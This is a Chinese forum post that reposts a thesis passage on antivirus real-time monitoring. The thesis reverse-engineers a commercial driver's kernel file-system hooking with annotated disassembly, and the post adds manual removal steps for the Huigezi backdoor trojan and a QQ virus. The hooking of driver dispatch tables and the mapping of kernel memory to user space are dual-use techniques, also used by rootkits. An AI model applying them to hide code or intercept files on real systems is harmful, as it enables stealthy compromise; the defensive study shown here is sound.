UNICODE_STRING FileName：在设备上被打开的文件的名字，如果当由DeviceObject代表的设备被打开时此串长度（FileName.Length）为0。
驱动程序对象代表可装载的内核模式驱动的映象，当驱动被加载至系统中时，有I/O管理器负责创建。指向驱动程序对象的指针将作为一个输入参数传送到驱动的初始化例程（DriverEntry），再初始化例程（Reinitialize routines）和卸载例程（Unload routine）。驱动程序对象结构中的域大部分是透明的，驱动可以访问的域包括：
PDEVICE_OBJECT DeviceObject：指向驱动创建的设备对象的指针。当在初始化例程中成功调用IoCreateDevice后这个域将被自动更新。当驱动卸载时，它的卸载例程将使用此域和设备对象中NextDevice域调用IoDeleteDevice来清除驱动创建的每个设备对象。
PDRIVER_INITIALIZE DriverInit：由I/O管理器设置的初始化例程（DriverEntry）入口地址。该例程负责创建驱动程序操作的每个设备的设备对象，需要的话还可以在设备名称和设备对用户态可见名称间创建符号链接。同时它还把驱动程序各例程入口点填入驱动程序对象 相应的域中。
PDRIVER_UNLOAD DriverUnload：驱动程序的卸载例程入口地址。
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION+1]：一个或多个驱动程序调度例程入口地址数组。每个驱动必须在此数组中为驱动处 理的IRP_MJ_XXX请求集设置至少一个调度入口，这样所有的IRP_MJ_XXX请求都会 被I/O管理器导入同一个调度例程。当然，驱动程序也可以为每个IRP_MJ_XXX请求设置独立的调度入口。
当然，驱动程序中可能包含的例程将远不止以上列出的。比如启动I/O例程，中断服务例程（ISR），中断服务DPC例程，一个或多个完成例程，取消I/O例程，系统关闭通知例程，错误记录例程。只不过我们将要剖析的hooksys.sys中只用到例程中很少一部分，故其余的不予详细介绍。
设备对象代表已装载的驱动程序为之处理I/O请求的一个逻辑，虚拟或物理设备。每个NT内核模式驱动程序必须在它的初始化例程中一次或多次调用IoCreateDevice来创建它支持的设备对象。例如tcpip.sys在其DriverEntry中就创建了3个共用此驱动的设备对象：Tcp，Udp，Ip。目前有一种比较流行的称为WDM（Windows Driver Model）的驱动程序，在大多数情况下，其二进制映像可以兼容WIN98和WIN2000(32位版本)。WDM与NT内核模式驱动程序的主要区别在于如何创建设备：在WDM驱动程序中，即插即用（PnP）管理器告知何时向系统中添加一个设备，或者从系统中删除设备。WDM驱动程序有一个特殊的AddDevice例程，PnP管理器为共用该驱动的每个设备实例调用该函数；而NT内核模式驱动程序需要做大量额外的工作，它们必须探测自己的硬件，为硬件创建设备对象(通常在DriverEntry中)，配置并初始化硬件使其正常工作。设备程序对象结构中的域大部分是透明的，驱动可以访问的域包括：
PDRIVER_OBJECT DriverObject：指向代表驱动程序装载映象的驱动程序对象的指针。
所有I/O都是通过I/O请求包（IRP）驱动的。所谓IRP驱动，是指I/O管理器负责在系统的非分页内存中分配一定的空间，当接受用户发出的命令或由事件引发后，将工作指令按一定的数据结构置于其中并传递到驱动程序的服务例程。换言之，IRP中包含了驱动程序的服务例程所需的信息指令。IRP有两部分组成：固定部分（称为标题）和一个或多个堆栈单元。固定部分信息包括：请求的类型和大小，是同步请求还是异步请求，用于缓冲I/O的指向缓冲区的指针和由于请求的进展而变化的状态信息。
PMDL MdlAddress：指向一个内存描述符表(MDL)，该表描述了一个与该请求关联的用户模式缓冲区。如果顶级设备对象的Flags域为DO_DIRECT_IO，则I/O管理器为IRP_MJ_READ或IRP_MJ_WRITE请求创建这个MDL。如果一个IRP_MJ_DEVICE_CONTROL请求的控制代码指定METHOD_IN_DIRECT或METHOD_OUT_DIRECT操作方式，则I/O管理器为该请求使用的输出缓冲区创建一个MDL。MDL本身用于描述用户模式虚拟缓冲区，但它同 时也含有该缓冲区锁定内存页的物理地址。
PVOID AssociatedIrp.SystemBuffer：SystemBuffer指针指向一个数据缓冲区，该缓冲区位于内核模式的非分页内存中于IRP_MJ_READ和IRP_MJ_WRITE操作，如果顶级设备指定DO_BUFFERED_IO标志I/O管理器就创建这个数据缓冲区。对于IRP_MJ_DEVICE_CONTROL操作，如果I/O控制功能代码指出需要缓冲区，则I/O管理器就创建这个数据缓冲区。I/O管理器把用户模式程序发送给驱动程序的数据复制到这个缓冲区，这也是创建IRP过程的一部分。这些数据可以是与WriteFile调用有关的数据，或者是DeviceIoControl调用中所谓的输入数据。对于读请求，设备驱动程序把读出的数据填到这个缓冲区，然后I/O管理器再把缓冲区的内容复制到用户模式缓冲区。对于指定了 METHOD_BUFFERED的I/O控制操作，驱动程序把所谓的输出数据放到这个缓冲区， 然后I/O管理器再把数据复制到用户模式的输出缓冲区。
IO_STATUS_BLOCK IoStatus：IoStatus(IO_STATUS_BLOCK)是一个仅包含两个域的结构，驱动程序在最终完成请求时设置这个结构。IoStatus.Status域将收到一个NTSTATUS代码。
PVOID UserBuffer：对于METHOD_NEITHER方式的IRP_MJ_DEVICE_CONTROL请求，该域包含输出缓冲区的用户模式虚拟地址。该域还用于保存读写请求缓冲区的用户模式虚拟地址，但指定了DO_BUFFERED_IO或DO_DIRECT_IO标志的驱动程序，其读写例程通常不需要访问这个域。当处理一个METHOD_NEITHER控制操作时，驱动程序能用这个地址创建自己的MDL。
任何内核模式程序在创建一个IRP时，同时还创建了一个与之关联的IO_STACK_LOCATION结构数组：数组中的每个堆栈单元都对应一个将处理该IRP的驱动程序，另外还有一个堆栈单元供IRP的创建者使用。堆栈单元中包含该IRP的类型代码和参数信息以及完成函数的地址。
UCHAR MajorFunction：该IRP的主功能码。这个代码应该为类似IRP_MJ_READ一样的值，并与驱动程序对象中MajorFunction表的某个派遣函数指针相对应。
UCHAR MinorFunction：该IRP的副功能码。它进一步指出该IRP属于哪个主功能类。
PDEVICE_OBJECT DeviceObject：与该堆栈单元对应的设备对象的地址。该域由IoCallDriver函数负责填写。
PFILE_OBJECT FileObject：内核文件对象的地址，IRP的目标就是这个文件对象。
下面简要介绍一下WINNT/2000下I/O请求处理流程。先看对单层驱动程序的同步的I/O请求：I/O请求经过子系统DLL子系统DLL调用I/O管理器中相应的服务。I/O管理器以IRP的形式给设备驱动程序发送请求。驱动程序启动I/O操作。在设备完成了操作并且中断CPU时，设备驱动程序服务于中断。最后I/O管理器完成I/O请求。以上六步只是一个非常粗略的描述，其中的中断处理和I/O完成阶段比较复杂。
当设备完成了I/O操作后，它将发出中断请求服务。设备中断发生时，处理器将控制权交给内核陷阱处理程序，内核陷阱处理程序将在它的中断调度表（IDT）中定位用于设备的ISR。驱动程序的ISR例程获得控制权后，它通常只在设备IRQL上停留获得设备状态所必需的一段时间，然后停止设备中断，接着它排队一个DPC并清除中断退出操作。IRQL降低至Dispatch/DPC级之前，所有中间优先级中断因而可以得到服务。当DPC例程得到控制时，它将启动设备队列中下一个I/O请求，然后完成中断服务。
当驱动的DPC例程执行完后，在I/O请求可以考虑结束之前还有一些工作要做。如某些情况下，I/O系统必须将存储在系统内存中的数据复制到调用者的虚拟地址空间中，如将操作结果记录在调用者提供的I/O状态块中或执行缓冲I/O的服务将数据返回给调用线程。这样当DPC例程调用I/O管理器完成原始I/O请求后，I/O管理器会为调用线程调用线程排队一个核心态APC。当线程被调度执行时，挂起的APC被交付。它将把数据和返回状态复制到调用者的地址空间，释放代表I/O操作的IRP，并将调用者的文件句柄或调用者提供的事件或I/O完成端口设置为有信号状态。如果调用者用异步I/O函数ReadFileEx和WriteFileEx指定了用户态APC，则此时还需要将用户态APC排队。最后可以考虑完成I/O。在文件或其它对象句柄上等待的线程将被释放。
基于文件系统设备的I/O请求处理过程与此是基本相同的，主要区别在于增加一个或多个附加的处理层。例如读文件操作，用户应用程序调用子系统库Kernel32.dll中的API函数ReadFile，ReadFile接着调用系统库Ntdll.dll中的NtReadFile，NtReadFile通过一个陷入指令（INT2E）将处理器模式提升至ring0。然后Ntoskrnl.exe中的系统服务调度程序KiSystemService将在系统服务调度表中定位Ntoskrnl.exe中的NtWReadFile并调用之，同时解除中断。此服务例程是I/O管理器的一部分。它首先检查传递给它们的参数以保护系统安全或防止用户模式程序非法存取数据，然后创建一个主功能代码为IRP_MJ_READ的IRP，并将之送到文件系统驱动程序的入口点。以下的工作会由文件系统驱动程序与磁盘驱动程序分层来完成。文件系统驱动程序可以重用一个IRP或是针对单一的I/O请求创建一组并行工作的关联（associated）IRP。执行IRP的磁盘驱动程序最后可能会访问硬件。对于PIO方式的设备，一个IRP_MJ_READ操作将导致直接读取设备的端口或者是设备实现的内存寄存器。尽管运行在内核模式中的驱动程序可以直接与其硬件会话，但它们通常都使用硬件抽象层(HAL)访问硬件：读操作最终会调用Hal.dll中的READ_PORT_UCHAR例程来从某个I/O口读取单字节数据。
WINNT/2000下设备和驱动程序的有着明显堆栈式层次结构：处于堆栈最底层的设备对象称为物理设备对象，或简称为PDO，与其对应的驱动程序称为总线驱动程序。在设备对象堆栈的中间某处有一个对象称为功能设备对象，或简称FDO，其对应的驱动程序称为功能驱动程序。在FDO的上面和下面还会有一些过滤器设备对象。位于FDO上面的过滤器设备对象称为上层过滤器，其对应的驱动程序称为上层过滤器驱动程序；位于FDO下面(但仍在PDO之上)的过滤器设备对象称为下层过滤器，其对应的驱动程序称为下层过滤器驱动程序。这种栈式结构可以使I/O请求过程更加明了。每个影响到设备的操作都使用IRP。通常IRP先被送到设备堆栈的最上层驱动程序，然后逐渐过滤到下面的驱动程序。每一层驱动程序都可以决定如何处理IRP。有时，驱动程序不做任何事，仅仅是向下层传递该IRP。有时，驱动程序直接处理完该IRP，不再向下传递。还有时，驱动程序既处理了IRP，又把IRP传递下去。这取决于设备以及IRP所携带的内容。
通过上面的介绍可得知：如果我们想拦截系统的文件操作，就必须拦截I/O管理器发向文件系统驱动程序的IRP。而拦截IRP最简单的方法莫过于创建一个上层过滤器设备对象并将之加入文件系统设备所在的设备堆栈中。具体方法如下：首先通过IoCreateDevice创建自己的设备对象，然后调用IoGetDeviceObjectPointer来得到文件系统设备（Ntfs，Fastfat，Rdr或Mrxsmb，Cdfs）对象的指针，最后通过IoAttachDeviceToDeviceStack将自己的设备放到设备堆栈上成为一个过滤器。
这是拦截IRP最常用也是最保险的方法，Art Baker的《Windows NT设备驱动程序设计指南》中有详细介绍，但用它实现病毒实时监控却存在两个问题：其一这种方法是将过滤器放到堆栈的最上层，当存在其它上层过滤器时就不能保证过滤器正好在文件系统设备之上；其二由于过滤器设备需要表现的和文件系统设备一样，这样其所有特性都需从文件系统设备中复制。另外文件系统驱动对象中调度例程过滤器驱动必须都支持，这就意味着我们无法使过滤器驱动中的调度例程供自己的ring3级客户程序所专用，因为原本发往文件系统驱动调度例程的IRP现在都会先从过滤器驱动的调度例程中经过。
所以Hooksys.sys没有使用上述方法。它的方法更简单且更为直接：它先通过ObReferenceObjectByName得到文件系统驱动对象的指针。然后将驱动对象中MajorFunction数组中的打开，关闭，清除，设置文件信息，和写入调度例程入口地址改为Hooksys.sys中相应钩子函数的入口地址来达到拦截IRP的目的。具体操作细节请参看代码剖析一节。
下面介绍驱动与ring3下客户程序的通信技术。与WIN9X下驱动与ring3下客户程序通信技术相同，NT/2000仍然支持使用DeviceIoControl实现从ring3到ring0的单向通信，但从ring0通过排队APC来唤醒ring3线程的方法却无法使用了。原因是我没有找到一个公开的函数来实现（Walter Oney的书中说存在一个未公开的函数实现从ring0排队APC）。其实不通过APC我们也可以通过命名的事件/信号量对象来实现双向唤醒，而且这可能比APC更为可靠些。
对象管理器在Windows NT/2000内核中占了极其重要的位置，其一个最主要职能是组织管理系统内核对象。在Windows NT/2000中，内核对象管理器大量引入了C++面向对象的思想，即所有内核对象都封装在对象管理器内部，除对象管理器自己以外，对其他所有想引用内核对象结构成员的子系统都是不透明的，也即都需通过对象管理器访问这些结构。Microsoft极力推荐内核驱动代码遵循这一原则（用户态代码根本不能直接访问这些数据），它提供了一系列以Ob开头的例程供我们使用。
内核已命名对象存于系统全局命名内核区，与传统的DOS目录和文件组织方式相似，对象管理器也采用树状结构管理这些对象，这样可以快速检索内核对象。当然使用这种树状结构组织内核已命名对象，还有另一个优点，那就是使所有已命名对象组织的十分有条理，如设备对象处于\Device下，而对象类型名称处于\ObjectTypes下等等。再者这样也能达到使用户态进程仅能访问\??与\BaseNamedObjects下的对象，而内核态代码则没有任何限制的目的。至于系统内部如何组织管理这些已命名对象，其实Windows NT/2000内部由内核变量ObpRootDirectoryObject指向的Directory对象代表根目录，使用哈希表(HashTable)来组织管理这些命名内核对象。
Hooksys.sys中使用命名的信号量来唤醒ring3级线程。具体做法如下：首先在guidll.dll中调用CreateSemaphore创建一个命名信号量Hookopen并设为无信号状态，同时调用CreateThread创建一个线程。线程代码的入口处通过调用WaitForSingleObject在此信号量上等待被ring0钩子函数唤醒查毒。驱动程序这边则在初始化过程中通过未公开的例程ObReferenceObjectByName（\BaseNamedObjects\Hookopen）得到命名信号量对象Hookopen的指针，当它拦截到文件打开请求时调用KeReleaseSemaphore将Hookopen置为有信号状态唤醒ring3级等待检查打开文件的线程。其实guidll.dll共创建了两个命名信号量，还有一个Hookclose用于唤醒ring3级等待检查关闭文件的线程。
guidll.dll中使用命名的事件来唤醒暂时挂起等待查毒完毕的ring0钩子函数。具体做法如下：Hooksys.sys在其初始化过程中通过ZwCreateEvent函数创建一组命名事件对象（此处必须合理设置安全描述符，否则ring3线程将无法使用事件句柄）并得到其句柄，同时通过ObReferenceObjectByHandle得到句柄引用的事件对象的指针。然后Hooksys.sys将这一组事件句柄和指针对以及事件名保存在备用链表的每个元素中：ring3使用句柄，ring0使用指针。当钩子函数拦截到文件请求时它首先唤醒ring3查毒线程，然后马上调用KeWaitForSingleObject在一个事件\BaseNamedObjects\Hookxxxx上等待查毒的完成。而被唤醒的ring3查毒线程通过OpenEventA函数由事件名字得到其句柄，在结束查毒后发出一个SetEvent调用将事件置为有信号状态从而唤醒ring0挂起的钩子函数。当然，以上讨论仅限于打开文件操作，钩子函数在拦截到其它文件请求时并不调用KeWaitForSingleObject等待查毒的完成，而是唤醒ring3查毒线程后直接返回；相应的ring3查毒线程也就不必在查毒完成后调用SetEvent进行远程唤醒。
另外在编写NT内核模式驱动程序时还必须注意一些事项。首先是中断请求级（IRQL），这是在进行NT驱动编程时特别值得注意的问题。每个内核例程都要求在一定的IRQL上运行，如果在调用时不能确定当前IRQL在哪个级别，则可调用KeGetCurrentIrql获取当前的IRQL值并进行判断。例如欲获得指向当前进程Eprocess的指针可以考虑先判断当前的IRQL，如大于等于DISPATCH_LEVEL时可调用IoGetCurrentProcess；而当IRQL小于调度/延迟过程调用级别时（DISPATCH_LEVEL/DPC）则可使用PsGetCurrentProcessId和PsLookupProcessByProcessId。其次要注意的问题是分页/非分页内存。由于执行在提升的IRQL级上时系统将不能处理页故障，因为系统在APC级处理页故障，因而这里总的原则是：执行在高于或等于DISPATCH_LEVEL级上的代码绝对不能造成页故障。这也意味着执行在高于或等于DISPATCH_LEVEL级上的代码必须存在于非分页内存中。此外，所有这些代码要访问的数据也必须存在于非分页内存中。最后是同步互斥问题，这对于如病毒实时监控等系统范围共享的驱动程序尤显重要。虽然在Hooksys中没有创建多线程（PsCreateSystemThread），但由于它挂接了系统文件钩子，系统中所有线程的文件请求都会从Hooksys中经过。当一个线程的文件请求被处理过程中Hooksys会去访问一些全局共享的数据，如过滤器，历史记录等，有可能在访问进行到一半时该线程由于某种原因被抢占了，结果是其它线程的文件请求经过时Hooksys访问的共享数据将是错误的。为此驱动程序必须合理使用自旋锁，互斥量，资源等内核同步对象对共享全局数据的所有线程进行同步。
3.4.2程序结构与流程
以下的程序结构与流程分析来自一著名反病毒软件的WINNT/2000实时监控NT内核模式设备驱动程序Hooksys.sys：
1.初始化例程（DriverEntry）：调用_GetProcessNameOffset取得进程名在Eprocess中的偏移。初始化备用，打开文件等待操作，关闭文件，历史记录5个双向循环链表及用于链表操作互斥的4把自旋锁和1个快速互斥量。将全局变量_IrqCount（IRP记数）设置为0。创建卸载保护用事件对象。为文件名过滤数组初始化同步用资源变量。在系统全局命名内核区中检索Hookopen和Hookclose两个命名信号量（ _CreateSemaphore）。为备用（_AllocateBuffer）和历史记录（_AllocatHistoryBuf）链表在系统非分页池中分配空间，同时创建一组命名事件对象Hookxxxx并保存至备用链表的每个元素中（_CreateOneEvent）。创建设备，设置驱动例程入口，为设备建立符号连接。创建磁盘驱动器设备对象指针（_QuerySymbolicLink）和文件系统驱动程序对象指针（_HookSys）列表。
2.打开例程（IRP_MJ_CREATE）：将备用链表用系统非分页内存（首地址保存在_SysBufAddr中）映射到用户空间中（保存在_UserBufAddr）以便从用户态可以直接访问这段内存（_MapMemory）。
3.设备控制例程（IRP_MJ_DEVICE_CONTROL）：它会从入口IRP当前堆栈单元中取得用户程序利用DeviceIoControl传送进来的IO控制代码（IoControlCode），以此判断用户程序的意图。和Hooksys.sys协同工作的ring3级客户程序guidll.dll会依次向Hooksys.sys发送IO控制请求来完成一系列工作，具体次序和代码含义如下：
83003C2F：将guidll取得的驱动器类型值传给驱动（保存在DriverType变量中），根据此变量值的不同，设置不同的等待（KeWaitForSingleObject）超时值，因为非固定驱动器的读写时间会稍长些。
83003C0F：保存guidll传送的用户指定的拦截文件的类型，其实这个类型过滤器在查毒模块中已存在，这里再设置显然是为了提高处理效率：它确保不会将非指定类型文件送到ring3级查毒模块，节省了通信的开销。经过解析的各文件类型过滤块指针将保存在_gaFileNameFilterArra数组中，同时更新过滤项个数_gNumOfFilters变量的值。
83003C13：修改文件系统驱动程序对象调度例程入口，启动拦截文件操作的钩子函数的工作。
83003C17：恢复文件系统驱动程序原调度例程入口，停止拦截文件操作的钩子函数工作。
以上列出的IO控制代码的发出是固定，而当钩子函数启动后，还会发出一些随机的控制代码：
83003C07：驱动将打开文件链表的头元素即最先的请求打开的文件删除并插入到等待链表尾部，同时将元素的用户空间地址传送至ring3级等待查杀打开文件的线程中处理。
83003C0B：驱动将关闭文件链表的头元素即最先的请求关闭的文件删除并插入到备用链表尾部，同时将元素中的文件名串传送至ring3级等待查杀关闭文件的线程中处理
83003C1F：当查得关闭文件是病毒时，更新历史记录链表。
下面介绍钩子函数_HookCreateDispatch和guidll中等待查杀打开文件的线程协同工作流程，而关闭，清除，设置文件信息，和写入操作的处理与此大同小异：
当文件请求进入钩子函数_HookCreateDispatch后，它首先从入口IRP中定位当前的堆栈单元并从中取得代表此次请求的文件对象。然后判断当前进程是否为我们自己，若是则必须放过去，因为查毒模块中要频繁的进行文件操作，所以拦截来自ravmon的文件请求将导致严重的系统死锁。接下来利用堆栈单元中的文件对象取得完整的文件路径名并确保文件不是：\PIPE\，\IPC。之后查找历史记录链表以确定该文件是否最近曾被检查并记录过，若在历史记录链表中找到关于该文件的记录并且记录未失效即其时间戳和当前系统时间之差不得大于1F4h，则可直接从记录中读取查毒结果。如历史链表中没有该文件的记录则利用保存的文件类型过滤阵列检查文件是否在被拦截的文件类型之列。至此才进入真正的检查打开文件函数_RAVCheckOpenFile，此函数入口处先从备用，等待或关闭链表头部摘得一空闲元素（_GetFreeEntry）并填充之，如文件路径名域等。接着将空闲元素加入打开文件链表尾部并释放Hookopen信号量唤醒ring3下等待检查打开文件的线程。然后调用KeWaitForSingleObject在空闲元素中保存的一个事件对象上等待ring3查毒的完成。当钩子函数挂起后，ring3查毒线程得到执行：它会向驱动发出一IO控制码为83003C07的请求以取得打开文件链表头元素即保存最先提交而未决的文件请求，驱动会将元素映射到用户空间中的偏移地址直接传给它。接着它调用RsEngine.dll中的fnScanOneFile函数进行查毒并在元素中设置查毒结果位，完毕后再对元素中保存的事件对象调用SetEvent唤醒在此事件上等待的钩子函数。被唤醒的钩子函数检查被ring3查毒代码设置的结果位以此决定该文件请求是被采纳即调用保存的原调度例程还是被取消即调用IofCompleteRequest直接返回，同时增加历史记录。
以上只是钩子函数与ring3线程流程的一个简单介绍，其中省略了诸如判断固定驱动器，超时等内容，具体细节请参看guidll.dll和hooksys.sys的反汇编代码注释。
4.关闭例程（IRP_MJ_CLOSE）：停止钩子函数工作，恢复文件系统驱动程序原调度入口（_StopFilter）。解除到用户空间的内存映射。
5.卸载例程（DriverUnload）：停止钩子函数工作，恢复文件系统驱动程序原调度入口。删除设备和符号连接。删除初始化时创建的一组命名事件对象Hookxxxx，包括解除指针引用，关闭打开的句柄。释放为MDL（_pMdl），备用链表（_SysBufAddr），历史记录链表（_HistoryBuf）和过滤器分配的内存空间。删除为文件名过滤数组访问同步设置的资源变量（_FilterResource）。解除对系统全局命名内核区中Hookopen和Hookclose两个命名信号量的指针引用。
3.4.3HOOKSYS.SYS逆向工程代码剖析
3.4.3.1取得当前进程名称代码
初始化例程中取得进程名在Eprocess中偏移
00011889 call ds:__imp__IoGetCurrentProcess@0 ；得到当前进程System的Eprocess指针
0001188F mov edi, eax ；Eprocess基地址
00011891 xor esi, esi ；初始化偏移为0
00011893 lea eax, [esi+edi] ；扫描指针
00011896 push 6 ；进程名长度
00011898 push eax ；扫描指针
00011899 push offset $SG8452 ; "System" ；进程名串
0001189E call ds:__imp__strncmp ；比较扫描指针处是否为进程名
000118A4 add esp, 0Ch ；恢复堆栈
000118A7 test eax, eax ；测试比较结果
000118A9 jz short loc_118B9 ；找到则跳出循环
000118AB inc esi ；增加偏移量
000118AC cmp esi, 3000h ；在12K范围中扫描
000118B2 jb short loc_11893 ；在范围之内则继续比较
钩子函数开始处取得当前进程名
00010D1E call ds:__imp__IoGetCurrentProcess@0 ；得到当前进程System的Eprocess指针
00010D24 mov ecx, _ProcessNameOffset ；取得保存的进程名偏移量
00010D2A add eax, ecx ；得到指向进程名的指针
3.4.3.2启动钩子函数工作代码
000114F4 push 4 ；预先将文件系统驱动对象个数压栈
000114F6 mov esi, offset FsDriverObjectPtrList ；取得文件系统驱动对象指针列表偏移地址
000114FB pop edi ；用EDI做记数器，初始值为4
000114FC mov eax, [esi] ；取得第一个驱动对象的指针
000114FE test eax, eax ；测试是否合法
00011500 jz short loc_11548 ；不合法则继续下一个修改驱动对象
00011502 mov edx, offset _HookCreateDispatch@8 ；取得自己的钩子函数的偏移地址
00011507 lea ecx, [eax+38h] ；取得对象中打开调度例程（IRP_MJ_CREATE）偏移
0001150A call @InterlockedExchange@8 ；原子操作，替换驱动对象中打开调度例程的入口为钩子函数的偏移地址
0001150F mov [esi-10h], eax ；保存原打开调度例程的入口
3.4.3.3映射系统内存至用户空间代码
0001068E push esi ；系统内存大小
0001068F push _SysBufAddr ；系统内存基地址
00010695 call ds:__imp__MmSizeOfMdl@8 ；计算描述系统内存所需内存描述符表（MDL）大小
0001069B push 206B6444h ；调试用标签
000106A0 push eax ；MDL大小
000106A1 push 0 ；在系统非分页内存池中分配
000106A3 call ds:__imp__ExAllocatePoolWithTag@12 ；为MDL分配内存
000106A9 push esi ；系统内存大小
000106AA mov _pMdl, eax ；保存MDL指针
000106AF push _SysBufAddr ；系统内存基地址
000106B5 push eax ；MDL指针
000106B6 call ds:__imp__MmCreateMdl@12 ；初始化MDL
000106BC push eax ；MDL指针
000106BD mov _pMdl, eax ；保存MDL指针
000106C2 call ds:__imp__MmBuildMdlForNonPagedPool@4
；填写MDL后物理页面数组
000106C8 push 1 ；访问模式
000106CA push _pMdl ；MDL指针
000106D0 call ds:__imp__MmMapLockedPages@8 ；映射MDL描述的物理内存页面
......
000106DB mov _UserBufAddr, eax ；保存映射后的用户空间地址
_UserBufAddr 和_SysBufAddr映射到相同的物理地址。

结 论
至此本论文已告撰写完毕。本论文在介绍了诸多目前较为流行的病毒技术后着重讨论了当今两大反病毒技术：虚拟机和实时监控。
我参与开发的w32encode是一个功能完备且结构复杂的商用虚拟机，它属于32位自含指令式虚拟机，与其它搜索清除模块合并在一起组成了一个功能强大的反病毒引擎。虽然目前它还不能支持所有的386+指令集，但从其查杀毒的运行效果来看结果还是非常令人满意的：普通的加密变形病毒可以在虚拟机默认的处理常式中查杀；特殊的，如hps,marburg等复杂加密变形病毒则可通过向虚拟机中添加少量的病毒特定处理代码来完成查杀。由于反虚拟执行技术的出现，所以今后对此虚拟机源代码的更新--向其中添加更多的对操作系统机制的支持--或者重写--成为真正的虚拟机器而非虚拟CPU--将是不可避免的。
同时，我通过逆向工程某反病毒软件的实时监控程序，在系统原理和驱动编程上又有了新的认识，并且它大大增强了我的反汇编功力。今后我会将注释的反汇编代码编写成C语言版源代码，并把病毒扫描模块移到系统核心态下工作，从而使整个工程变为“主动的与内核无缝连接”式监控。
总之当今反病毒技术的主流发展方向是屏弃传统的特征码扫描，创建智能的监控与行为分析引擎，这就必然要求更加先进的虚拟机和实时监控技术。

[ 此贴被孤光剑隐在2004-09-06 09:19重新编辑 ]


现在在QQ上提问，中了毒以后怎么办。其实中毒以后的解决办法只有几种

1..杀毒软件杀，有时可能一种杀毒软件没查出了，你可以下个另外版本的杀毒软件试试。或找专杀工具试试
2.手动查毒，这个比较麻烦。在QQ上问的人也多，但一两句也回答不清楚，而且还要具体情况具体分析。
3.这也是最不愿意的结果，那就是重装系统了，有些病毒会感染EXE文件，用杀毒杀有时也会很麻烦，一但没有杀干净。病毒依然存在。
我给大家找了几篇关于手动杀毒的文章，希望对你手动杀毒有所帮助。
手工清除灰鸽子并不难，重要的是我们必须懂得它的运行原理。
G_Server.exe运行后将自己拷贝到Windows目录下(98/xp下为系统盘的windows目录，2k/NT下为系统盘的Winnt目录)，然后再从体内释放G_Server.dll和G_Server_Hook.dll到windows目录下。G_Server.exe、G_Server.dll和G_Server_Hook.dll三个文件相互配合组成了灰鸽子服务端，有些灰鸽子会多释放出一个名为G_ServerKey.dll的文件用来记录键盘操作。注意，G_Server.exe这个名称并不固定，它是可以定制的，比如当定制服务端文件名为A.exe时，生成的文件就是A.exe、A.dll和A_Hook.dll。
Windows目录下的G_Server.exe文件将自己注册成服务（9X系统写注册表启动项），每次开机都能自动运行，运行后启动G_Server.dll和G_Server_Hook.dll并自动退出。G_Server.dll文件实现后门功能，与控制端客户端进行通信；G_Server_Hook.dll则通过拦截API调用来隐藏病毒。因此，中毒后，我们看不到病毒文件，也看不到病毒注册的服务项。随着灰鸽子服务端文件的设置不同，G_Server_Hook.dll有时候附在Explorer.exe的进程空间中，有时候则是附在所有进程中。
灰鸽子的手工检测
由于灰鸽子拦截了API调用，在正常模式下木马程序文件和它注册的服务项均被隐藏，也就是说你即使设置了“显示所有隐藏文件”也看不到它们。此外，灰鸽子服务端的文件名也是可以自定义的，这都给手工检测带来了一定的困难。
但是，通过仔细观察我们发现，对于灰鸽子的检测仍然是有规律可循的。从上面的运行原理分析可以看出，无论自定义的服务器端文件名是什么，一般都会在操作系统的安装目录下生成一个以“_hook.dll”结尾的文件。通过这一点，我们可以较为准确手工检测出灰鸽子木马。
由于正常模式下灰鸽子会隐藏自身，因此检测灰鸽子的操作一定要在安全模式下进行。进入安全模式的方法是：启动计算机，在系统进入Windows启动画面前，按下F8键(或者在启动计算机时按住Ctrl键不放)，在出现的启动选项菜单中,选择“Safe Mode”或“安全模式”。
1、由于灰鸽子的文件本身具有隐藏属性，因此要设置Windows显示所有文件。打开“我的电脑”，选择菜单“工具”—>“文件夹选项”，点击“查看”，取消“隐藏受保护的操作系统文件”前的对勾，并在“隐藏文件和文件夹”项中选择“显示所有文件和文件夹”，然后点击“确定”。

2、打开Windows的“搜索文件”，文件名称输入“_hook.dll”，搜索位置选择Windows的安装目录（默认98/xp为C:\windows，2k/NT为C:\Winnt）。

3、经过搜索，我们在Windows目录（不包含子目录）下发现了一个名为Game_Hook.dll的文件。
4、根据灰鸽子原理分析我们知道，如果Game_Hook.DLL是灰鸽子的文件，则在操作系统安装目录下还会有Game.exe和Game.dll文件。打开Windows目录，果然有这两个文件，同时还有一个用于记录键盘操作的GameKey.dll文件。

经过这几步操作我们基本就可以确定这些文件是灰鸽子木马了，下面就可以进行手动清除。
灰鸽子的手工清除
经过上面的分析，清除灰鸽子就很容易了。清除灰鸽子仍然要在安全模式下操作，主要有两步：1、清除灰鸽子的服务；2删除灰鸽子程序文件。
注意：为防止误操作，清除前一定要做好备份。
一、清除灰鸽子的服务
2000／XP系统：
1、打开注册表编辑器（点击“开始”－》“运行”，输入“Regedit.exe”，确定。），打开 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services注册表项。
2、点击菜单“编辑”－》“查找”，“查找目标”输入“game.exe”，点击确定，我们就可以找到灰鸽子的服务项（此例为Game_Server）。
3、删除整个Game_Server项.
98／me系统：
在9X下，灰鸽子启动项只有一个，因此清除更为简单。运行注册表编辑器，打开HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run项，我们立即看到名为Game.exe的一项，将Game.exe项删除即可。
二、删除灰鸽子程序文件
删除灰鸽子程序文件非常简单，只需要在安全模式下删除Windows目录下的Game.exe、Game.dll、Game_Hook.dll以及Gamekey.dll文件，然后重新启动计算机。至此，灰鸽子已经被清除干净。

还有其他的手动杀毒的方法

杀毒过程总结，可作为下次中毒时的参考：
１、发现中了ＱＱ病毒时记住千万不要再登陆ＱＱ。
２、立即重启动电脑。如果你的电脑系统是Win98，可以在开机时先进入DOS方式，进入Win98的Windows目录，执行edit system.ini<回车>，查找[boot]项下面的“shell=”的内容是否为“shell=Explorer.exe”，如果不是将其改回，然后保存退出。执行edit win.ini，查找[windows]项下面的“load=”和“run=”是否为空，如果不是将其后面的清除并保存退出。执行win /d:m进入Win98的安全模式，运行注册表编辑程序或者运行系统配置实用程序，将其中多余的启动程序删除或屏蔽，保存退出并重新启动计算机进入正常模式即可。为了安全和保险起见，此时请运行杀毒软件对整个硬盘彻底杀毒或者进行在线杀毒，以便彻底清除病毒残留文件。本方法经本人试验通过，已经将ＱＱ病毒成功清除！！
